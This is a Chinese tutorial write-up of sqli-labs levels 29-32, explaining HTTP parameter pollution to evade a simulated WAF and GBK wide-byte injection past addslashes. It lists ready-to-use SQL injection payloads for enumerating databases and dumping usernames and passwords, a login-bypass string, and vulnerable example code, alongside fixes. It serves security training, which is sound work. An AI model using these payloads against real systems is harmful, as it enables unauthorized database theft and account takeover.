news 2026/9/25 11:29:58

sqli-labs 29-32关:HPP与宽字节注入绕过WAF全解析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
sqli-labs 29-32关:HPP与宽字节注入绕过WAF全解析

如果你刷到了 sqli-labs 的 29 关,前面那些“加个引号就报错、union select 就出数据”的快乐日子基本到头了。从这一关开始,靶场给你模拟了一个 WAF,到 32 关又给参数套上了 addslashes 转义,之前那些裸奔的 payload 打过去,不是被拦就是被转义掉。很多人就是在这个“绕过模块”里弃坑的,因为前面练的是“注入”,从 29 开始练的是“对抗过滤器”。

这篇文章把 29-32 四关放在一起拆透:29-31 是 HTTP 参数污染(HPP)绕过 WAF 的三连变体,32 是宽字节注入绕过转义函数的经典案例,每一关我都会给出可直接复现的 payload,并且把源码层面“为什么能绕过去”讲清楚。适合正在 sqli-labs 通关的初学者、想搞明白 sqlmap 那些 tamper 脚本在干什么的渗透新人,以及写过原生拼接 SQL、踩过注入坑的后端开发。

1. 为什么29-32是sqli-labs通关路上最容易卡住的一段

1.1 先认清sqli-labs的整体结构

sqli-labs 是个本地开源的 SQL 注入靶场,PHP + MySQL 环境,用几十个关卡把注入类型切成一个个独立场景:数字型、字符型、报错型、布尔盲注、时间盲注、堆叠注入、POST 注入、Cookie 注入、二次注入、UA/Referer 注入、宽字节、WAF 绕过等等。自己本地起一个环境就能连刷,这也是合规性最好的练法,多找找 Docker 镜像,或者直接用 PHPStudy 拉起来都行,别去碰公网上那些所谓的“在线靶场”,更别拿未授权目标练手。

很多人在前 28 关打得很快,因为套路单一:找参数、加引号试报错、order by 数列数、union select 出数据,四步走完收工。但到了 29 关,这套固定流程第一次失灵——你发出去的数据包被一道模拟的 WAF 拦了,union、select 这些关键字直接触发告警。这时候你才意识到,前面练的是“怎么写注入语句”,从这开始练的是“怎么让你的注入语句活着到达数据库”。

1.2 29-31关的考点:WAF与HPP

29-31 三关的主题完全一致:题目在代码里内置了一个模拟 WAF,用黑名单正则检查参数内容,命中 union、select、and、or、#、-- 之类就中断请求。三关的差别只在于传参方式和取参顺序不一样,但根本考点只有一个——HTTP 参数污染(HPP)。

HPP 说白了一句话:同一个参数名,你在请求里多传几个值。这违反了开发者对“参数就是键值对”的直觉,但 HTTP 协议本身并不禁止同名参数出现多次。关键在于,不同中间件、不同语言对“同名参数取哪个值”的处理规则不一样,WAF 看到的和你后端代码实际用到的,很可能是两个不同的值。29-31 就是把这个错位现象做成三个方向的变体,让你彻底理解 WAF 的盲区在哪里。

1.3 32关的考点:addslashes与宽字节

32 关换了个思路:不再拦关键字,而是用 PHP 的 addslashes 函数给参数里的单引号、双引号、反斜杠等字符前面加一个反斜杠,看起来是“把你注入的引号全部转义掉”,理论上你做不了闭合。但这一关埋了一个更隐蔽的坑——数据库连接字符集是 GBK。

在 GBK 这种双字节字符集里,一个汉字由两个字节组成,如果恰好第一个字节是 0x81-0xFE 区间、第二个字节是 0x5C(反斜杠),那么 addslashes 加的那个反斜杠会被 MySQL 当成汉字的第二个字节吞掉,后面的单引号仍然是裸的。这就是宽字节注入,也是 PHP 5 时代大量老系统翻车的原因。学会这一关,你对“字符集错位”这类攻击会有很深的理解。

2. HPP与宽字节注入的底层原理拆解

2.1 WAF在拦什么,又漏掉了什么

先想明白 WAF 的工作方式。大部分规则型 WAF 做的是字符串匹配:拿到请求里的参数值,跑一遍正则黑名单,命中就拦。29 关这套模拟 WAF 的黑名单大概是 union、select、and、or、#、-- 这些注入的“骨架关键字”,一旦你的参数里出现它们,直接中断。

但字符串匹配有个天然问题:它永远只能基于“它看到的内容”做判断。如果 WAF 只检查了参数的一部分,而业务代码用的是另一部分,那 WAF 看到的和数据库执行的就不是同一个东西。29-31 三关的 WAF 恰恰就只检查一个参数值,不做全量扫描,于是留下了“你检查你的、我用我的”的缝隙。这就是 HPP 能绕过它的原因,也是现实世界里 WAF 被绕过的常见原因之一——WAF 和业务服务器根本不是同一个组件,它们对同一个请求的理解天然存在差异。

2.2 HPP:同一个参数出现两次,谁说了算

要理解 29-31 的 payload,先记住不同环境对重复参数的处理规则。这是 HPP 的底层基础,也是你以后在真实环境中排查绕过技巧时的第一参考表:

环境/语言重复参数取值规则典型部署
PHP($_GET/$_POST)取最后一个值Apache/Nginx + PHP
ASP.NET(Request.QueryString)取第一个值IIS
Java Servlet取第一个值Tomcat 等
Python Flask(request.args.get)取第一个值Gunicorn/Flask
Nginx 代理(传递给上游)默认拼接逗号或取第一个反向代理

你可以这样理解:WAF 是一个“保安”,后端 SQL 是“老板”。保安检查来访者名单时只看表格第一行,老板安排工作时却看最后一行,那中间就必然有可钻的空子。29 关模拟的就是“保安看第一个、老板用最后一个”的场景,所以你要在第三个参数位置做文章;30 关反过来,模拟的是“老板用第一个、保安看最后一个”的架构,于是注入 payload 要放在第一个参数位置。搞懂这个“方向”,29-31 就不需要死记硬背了。

2.3 宽字节注入:转义函数为什么拦不住一个汉字

先看 addslashes 的机制。它做一件事:在'、"、\、NULL 这些字符前面插入一个反斜杠\(字节 0x5C)。比如你输入1',它变成1\',这条字符串进了 SQL 就成了WHERE id='1\',单引号被转义,无法闭合,注入就失败了。

但这里有个前提:addslashes 是在 PHP 层做字节处理,而 MySQL 拿到 SQL 语句后要先做解码。如果 MySQL 认为客户端传来的字节流是 GBK 编码,它会连续读两个字节作为一个汉字。于是你输入1%df%27(0x31 0xDF 0x27),addslashes 在 0x27 前插入 0x5C,字节序列变成 0x31 0xDF 0x5C 0x27。MySQL 按 GBK 一读:0xDF 0x5C 是合法的双字节汉字,直接吞掉,剩下 0x27 就是裸单引号。SQL 里'被成功闭合,注入成立。

条件其实有三个,缺一不可:注入点本身用单引号包裹、数据库连接字符集是 GBK 这类双字节编码、输入里先搁一个能和 0x5C 组成合法汉字的起始字节。%df是最常用的,因为 0xDF 和 0x5C 组合几乎是教科书级的安全闭合,其他像%81、%bb、%bf、%fe这类字节只要后字节合法也能用。理解了这套字节级逻辑,你就能明白为什么这一关用普通'会被转义,而%df%27直接绕过去了。

3. 分关卡实操:从判断注入点到拖库的完整payload

3.1 Less-29过关过程与payload

进 29 关后,页面是一个带 id 参数的用户查询,类似第一关的展示风格,查出来就在页面上显示登录名和密码。这一步先验证 HPP 方向:

http://127.0.0.1/sqli-labs/Less-29/?id=1&id=2

如果你看到页面显示的是 id=2 对应的用户,说明业务代码用的是第二个参数值,也就是“取最后一个”的 PHP 行为;WAF 检查的则是第一个参数值“1”,它里面没有任何黑名单关键字,于是放行。方向确认后,后面所有注入都会放在第二个 id 里。

接下来按老四步走。先数列数,payload 写成:

?id=1&id=1' order by 3--+ ?id=1&id=1' order by 4--+

第一个没报错,第二个报错,说明查询一共 3 列。然后直接用 union 打法:

?id=1&id=-1' union select 1,2,3--+

页面回显位置在 2 和 3,也就是登录名和密码的位置。说明一下,--+在 URL 里会被 PHP 解码成--(两个减号加空格),正好是 MySQL 的注释语法,把后面那句LIMIT 0,1和多余的单引号全注释掉。空格我也推荐用+或%20代替,直接放裸空格在浏览器里往往会被处理成%20,也能跑通,但写成+更稳。

数据提取阶段,就是把 union 后面的 select 换成你要的查询。比如查当前数据库:

?id=1&id=-1' union select 1,database(),3--+

页面第二个回显位置会直接打出 security。继续查表名、列名、字段数据的完整 payload,我在 3.5 小节里统一列一个速查表,29 到 32 都能直接套。

3.2 Less-30:把HPP方向反过来

30 关页面长相和 29 差不多,但先做同一个测试你就发现行为变了:

http://127.0.0.1/sqli-labs/Less-30/?id=1&id=2

这次页面显示的是 id=1 的用户,说明业务代码取的是第一个参数值,代码刻意模拟了 ASP.NET/Java 那种“取首值”的行为。相应的,WAF 检查的是最后一个值。所以 HPP 方向整体反转:payload 放第一个 id,第二个 id 放一个干净的干扰值。

?id=-1' union select 1,2,3--+&id=1

数列数同样要反过来,payload 是:

?id=1' order by 3--+&id=1 ?id=1' order by 4--+&id=1

这里有个容易踩的坑:如果还按 29 关的写法把 payload 放第二个参数,WAF 检查的就是你这个带 union 的参数,直接拦截,然后你会一脸懵地以为本关不能用 union。方向搞反是刷这两关最典型的错误,所以每次动手前先做一遍id=1&id=2的对照试验,确定业务代码到底用哪个值,再定 payload 放哪。

3.3 Less-31:POST版的HPP与万能密码

31 关本质是 30 关的 POST 变体,考点没变,只是参数从 URL 挪到了请求体里。用 Burp Suite 抓包最方便,直接在请求体里提交两个同名参数,payload 放第一个、干净值放最后:

POST /sqli-labs/Less-31/ HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded id=-1' union select 1,2,3--+&id=1

浏览器里做不了重复参数的表单提交,所以这一关建议直接用 Burp 的重发器,或者 hackbar 这类能让你手工改请求体的工具。如果你打开页面发现它是一个登录框,那也别慌,把注入思路从“union 拖数据”切换成“万能密码绕过”,原理是同一个 HPP 错位:把 payload 放到业务代码实际读取的那个参数位。

比如经典的万能密码是' or 1=1--+,在登录型注入点里,用户名提交admin' or '1'='1、密码随便填,往往就能以第一个用户的身份登进去。配合 HPP 时,就是u_name=' or 1=1--+&u_name=1这种结构,让 WAF 看到后面的干净值,让业务代码拿到前面的注入串。这关练完,你对 POST 型请求的 HPP 就有了肌肉记忆。

3.4 Less-32:宽字节注入实测

32 关页面又回到 id 查询风格,但你先用普通引号试一下:?id=1',发现页面被转义了,查不出东西也不报错,因为 addslashes 把单引号变成了\',整条 SQL 还在字符串里。这时候就要上宽字节测试:

?id=1%df%27

如果页面直接报 MySQL 语法错误,说明宽字节逃逸成功——单引号已经逃出了 SQL 字符串,多余的那个'让整条语句语法崩了。报错就是事情成了的信号。接下来正常 payload 是:

?id=-1%df%27 union select 1,2,3--+

这里要特别提醒一个新手必踩的坑:%df和%27必须作为原始 URL 编码字节发出去,千万别在工具里二次编码,比如把%再编码成%25,那服务端收到的就不是 0xDF 0x27,而是字符串“%df%27”,addslashes 和 GBK 都没法按预期工作,页面会 500 或直接显示空。我在 Burp 里看到很多人卡在这一关,十有八九是工具自动做了 URL 编码,或者手滑把%df%27写成了%25df%2527。最稳的做法是 Burp 抓包后在原始请求里手工替换参数值,发出去之前肉眼确认字节是%df%27。

数据提取阶段,只要把普通 payload 里的'全部替换成%df%27就行。比如查当前数据库:

?id=-1%df%27 union select 1,database(),3--+

3.5 四个关卡通用的数据提取payload速查表

下面的速查表默认注入点已经闭合且回显位置是第 2、3 列。29 关把这些 payload 放在第二个 id,30 和 31 放在第一个 id,32 关把里面的'换成%df%27即可。为了绕开引号干扰,表名直接写成十六进制 0x7573657273,对应字符串 users。

目标SQL片段
查当前数据库union select 1,database(),3--+
查所有数据库名union select 1,group_concat(schema_name),3 from information_schema.schemata--+
查当前库所有表名union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
查 users 表所有列名union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273--+
查 users 表数据union select 1,group_concat(username,0x3a,password),3 from security.users--+

group_concat会把多行结果拼成一行,方便在单个回显位置里看全;0x3a是冒号的十六进制,用来给用户名和密码加分隔符。刷 29-32 时把这套组合练熟,后面几十关大部分数据提取都是这个模板的变体。

4. 关键源码解析:从代码层面看懂为什么能绕

4.1 Less-29-31源码中的WAF与取参逻辑

29-31 的源码核心就两个动作:一个模拟 WAF 的函数,一个拼接 SQL 的业务代码。以 29 关为例,把它简化成可读性最好的样子:

// waf.php —— 模拟WAF function waf_check() { // 手工解析查询串,只检查第一个 id 参数 preg_match('/(?:^|&)id=([^&]*)/i', $_SERVER['QUERY_STRING'], $m); $val = urldecode($m[1]); if (preg_match('/union|select|and|or|#|--/i', $val)) { die("通过WAF告警:发现非法参数"); } } waf_check(); // index.php —— 业务逻辑 // 注意:PHP 拿 $_GET['id'] 时,重复参数默认取最后一个 $id = $_GET['id']; $sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";

关键就在这两个地方用了不同的取参方式。WAF 为了“效率”只看了查询串里第一次出现的 id,值为 1,干干净净,放行;而 PHP 的$_GET['id']取的是最后一次出现的 id,也就是你塞进去的-1' union select 1,2,3--+,于是恶意串进了 SQL。

30 和 31 的源码只是把这两个取值角色对调:WAF 改成检查最后一个 id,业务代码改成手工解析查询串、取第一个 id。源码里很可能就是多写了一个explode('&', $_SERVER['QUERY_STRING'])然后取数组第一个元素,看上去“更严谨”,但漏洞本质一模一样。31 关换汤不换药,只是参数走了 POST 请求体,取值逻辑和 30 关相同,payload 放第一个同名参数即可。

4.2 Less-32源码中的转义与字符集设置

32 关的源码就更直接了:

// 连接数据库时设置了GBK相关字符集 // mysqli_query($conn, "SET character_set_client=gbk, character_set_results=gbk"); // 实际就是在 sql-connect.php 里写了一句 SET NAMES gbk 或等价的设置 $id = addslashes($_GET['id']); $sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";

addslashes 在单引号前加反斜杠,这套转义本身没问题,问题出在它不知道 MySQL 会用什么字符集来解析这条 SQL。当character_set_client=gbk时,你提交的 0xDF 0x5C 会被 MySQL 当成一个完整的 GBK 汉字,反斜杠根本不可能单独发挥“转义”作用,单引号自然就逃逸了。

如果你自己复现这个靶场时发现宽字节注入不生效,大概率是连接字符集没设成 GBK,或者你在数据库里手动改了default-character-set=utf8。这也是为什么这类漏洞会有明显的“地域性”“年代性”——老一代 PHP 项目喜欢用 GBK 兼容历史数据,踩了宽字节的坑;现代项目统一 utf8mb4 之后,这种攻击基本失效,但同类思路在 BIG5、SJIS 等其他双字节字符集下依然值得警惕。

4.3 从源码反推修复方案与真实影响范围

既然看懂了漏洞成因,防御方案也能直接从源码里推出来,优先级从高到低:

第一,永远用参数化查询(预处理语句)。SELECT * FROM users WHERE id = ?,让数据库自己处理参数和 SQL 的边界,addslashes、宽字节这些转义层面的攻防全部失去意义。第二,数据库连接字符集统一成 utf8mb4,并在连接层显式SET NAMES utf8mb4,从根源上消灭“多字节字符吞掉反斜杠”的可能。第三,如果确实需要过滤,用白名单而不是黑名单,比如 id 参数就只允许数字。第四,不要自己写转义函数去替代参数化,这是无数老代码翻车的原因。

从影响范围看,HPP 这类问题在真实环境里主要出现在多组件部署的架构中:反代 WAF 和业务服务器语言不同,或者业务侧对重复参数的处理策略和 WAF 不一致,这类错位不是靠“补几个关键字”能解决的,必须做参数归一化。宽字节注入的影响范围则集中在遗留的 GBK 系 PHP/MySQL 系统上,尤其是国内早期开发的 Web 应用,也是很多老系统被反复“考古”的原因。理解了这些原理,你在做代码审计时看到 addslashes、看到手动拼接 SQL、看到SET NAMES gbk,就应该条件反射地知道下一步往哪看。

5. 踩坑记录与常见问题速查

5.1 常见问题排查表

刷这四关时,我几乎把能踩的坑都踩了一遍,整理成一张速查表,遇到奇怪现象先对号入座:

现象原因解决办法
union/select 直接被拦HPP 参数放错位置先做id=1&id=2对照测试,确定业务用第几个值,再决定 payload 放哪
%df%27测试无报错工具二次 URL 编码,服务端没收到 0xDF用 Burp 抓包改原始请求,确认 URL 里是%df%27而不是%25df%2527
宽字节注入不生效连接字符集不是 GBK检查 sql-connect.php 的 SET NAMES 配置,或用%bf%27、%bb%27换字节尝试
union 后页面空白列数不对或回显位置看错先用 order by 确定列数,再逐个位置测试回显
页面正常但查不出数据--+注释没生效,尾部'干扰确认空格的编码,--+在 URL 里应该被解成--
跑 sqlmap 识别不出默认 payload 库没有覆盖 HPP/宽字节人工 payload 过关后再学 tamper 脚本,宽字节可以用 unmagicquotes 思路去理解

5.2 我刷完29-32的几点实操心得

第一,先验证再注入。每次进入新关卡,我第一件事一定是发两个同名参数看页面回显的是哪个值,这个动作 10 秒钟,但能避免后面所有 payload 方向性错误。第二,学会用 Burp 的 Repeater 而不是浏览器地址栏。浏览器会自动编码很多字符、还会规范化 URL,对宽字节和 HPP 这种需要精确控制字节的题型很不友好。第三,刷完 29-32 之后,回头再看 sqlmap 的 tamper 脚本就完全不神秘了,它本质上就是“把普通 payload 改造成能绕过某种过滤规则的编码器”,跟你手工改%df%27、手工调整参数顺序是同一件事。

另外补充一点合规提醒:这些 payload 我只建议在你自己的本地靶场或明确授权的测试环境里复现。sqli-labs 的价值是帮你建立“看到过滤条件就知道往哪个方向绕”的思维,而不是让你拿它去测公网上任何一个没授权的目标。做安全测试的前提永远是授权。

最后聊点个人体会。我复刷这四关时有个习惯:过关后不急着往下走,而是回到源码里把过滤条件改严一点点,再把手上的 payload 调整一遍。比如把 29 关的 WAF 黑名单加上换行符、把 32 关的连接字符集改成 utf8,你会立刻发现刚才的姿势全部失效,然后不得不去研究新的绕过方式。这套“自己给自己加难度”的做法,比单纯照着 payload 通关的收获大得多。29-32 本身不难,难的是你在每次“失效”之后,愿不愿意坐下来把源码再读一遍——读懂了源码,你就不是在背答案,而是在理解攻防两端的思维差异。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/25 11:29:53

n8n智能体开发:Docker-Compose 部署配 TaoToken 统一 Key 通道

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华
网站建设 2026/9/25 11:29:50

零基础网络安全入门路线:从TCP/IP原理到渗透测试实战

1. 零基础入门前,先把网络安全这潭水看清说实话,我在这个圈子里泡了快十年,每年都会遇到一批兴冲冲跑进来的人,开口就是"我要学黑客技术",但问他想具体做什么,基本说不清楚。网络安全这个行当&am…

作者头像 李华
网站建设 2026/9/25 11:26:31

迷你SQL 2000:老系统迁移的轻量兼容方案

简介:迷你SQL 2000是一款面向个人用户和小型企业的轻量级数据库管理系统,专为Windows XP/7/10的32位与64位环境设计,在保留SQL Server 2000核心SQL功能的基础上,大幅降低内存和磁盘占用,适用于硬件配置有限、不需要复杂…

作者头像 李华
网站建设 2026/9/25 11:24:17

Atlas 300V 24G上部署YOLOv5:从CANN转换到pyACL推理全攻略

最近一直在折腾一台装了 Atlas 300V 24G 的服务器,连续几个晚上在 C 和 Python 之间来回横跳,才总算把 YOLOv5 跑通,延迟也压到了能看的水平。身边朋友知道我在搞这个东西之后,问最多的两个问题,跟你在搜索框里敲的几乎…

作者头像 李华
网站建设 2026/9/25 11:24:12

多商户系统开发全流程实战指南 核心架构设计与落地避坑经验分享

多商户系统是当前本地生活、电商、家政、外卖等多个领域的主流系统架构,相比单商户系统,它支持多主体入驻、权责分离、资源整合,能够大幅提升平台的运营效率。本文结合外卖、家政、电商、CPS服务等多场景多商户系统的开发实战,从核…

作者头像 李华